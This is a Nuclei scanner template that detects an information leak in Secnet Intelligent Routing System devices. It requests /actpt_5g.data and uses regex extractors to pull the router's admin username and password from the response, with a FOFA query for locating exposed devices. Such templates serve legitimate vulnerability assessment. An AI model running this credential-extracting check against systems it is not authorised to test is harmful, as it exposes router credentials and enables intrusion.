id: secnet-info-leak

info:
  name: Secnet Intelligent Routing System actpt_5g.data - Information Leak
  author: DhiyaneshDk
  severity: high
  description: Secnet Intelligent Routing System is exposed.
  reference:
    - https://mp.weixin.qq.com/s/lNlI5ZtUJG50ipS0WfytUw
    - https://github.com/gobysec/GobyVuls/blob/master/secnet_Intelligent_Router_actpt_5g.data_Infoleakage.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="安网-智能路由系统" || header="HTTPD_ac 1.0"
  tags: info-leak,secnet,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/actpt_5g.data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"http_username":'
          - '"http_passwd":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"http_username":"([a-z]+)"'
          - '"http_passwd":"([a-z]+)"'
# digest: 4a0a00473045022100ec96f1c10bbbaefdc5252cd0b08921d06c991ee8f542c0a63cce04ea856677cb022069f78d1100c54365d156d6105caac7b525862fd63a3409e16c2f17b0c17d6582:922c64590222798bb761d5b6d8e72950